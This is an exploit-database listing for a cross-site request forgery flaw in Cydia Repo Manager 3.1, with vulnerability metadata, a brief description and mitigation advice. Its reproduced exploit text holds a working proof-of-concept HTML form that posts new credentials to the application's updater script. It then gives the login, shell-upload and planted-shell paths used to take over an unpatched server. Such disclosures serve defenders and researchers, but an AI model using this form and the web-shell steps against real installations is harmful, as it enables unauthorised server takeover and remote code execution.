header-logo
Suggest Exploit
vendor:
Cydia Repo Manager
by:
cr4wl3r
8,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: Cydia Repo Manager
Affected Version From: 3.1
Affected Version To: 3.1
Patch Exists: NO
Related CWE: N/A
CPE: a:damar1st:cydia_repo_manager
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2013

Cydia Repo Manager CSRF Vulnerability

Cydia Repo Manager is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can craft a malicious HTML form and submit it to the vulnerable application. This form can be used to perform administrative actions such as creating a new user, changing the password of an existing user, or uploading a malicious file. The malicious form can be hosted on any website and can be used to target users of the vulnerable application. The malicious form can also be sent via email or instant messaging.

Mitigation:

The application should implement a CSRF token to verify that the request is coming from a trusted source. The application should also implement a content security policy to prevent malicious code from being executed.
Source

Exploit-DB raw data:

# Cydia Repo Manager CSRF Vulnerability
# By cr4wl3r http://bastardlabs.info
# http://bastardlabs.info/exploits/Cydia_Repo_Manager.txt
# Software Link: http://damarist.de/?lang=en
# Download : http://damar1st.de/downloads/CydiaRepoManager3.1.zip
# Tested: Win 7

Proof of concept:

<form method="post" action="http://bastardlabs/[CydiaRepoManager_path]/debs/updater.php">
<input type="text" name="user" value="Username"/> <br />
<input type="text" name="pass" value="Password"/><br />
<input type="submit" name="s" value="w00tw00t!" />
</form>


Login :  http://bastardlabs/[CydiaRepoManager_path]/index.php

Upload Shell : http://bastardlabs/[CydiaRepoManager_path]/deb.php

Shell : http://bastardlabs/[CydiaRepoManager_path]/downloads/shell.php


Demo : 
http://bastardlabs.info/demo/CydiaRepoManager1.png
http://bastardlabs.info/demo/CydiaRepoManager2.png
http://bastardlabs.info/demo/CydiaRepoManager3.png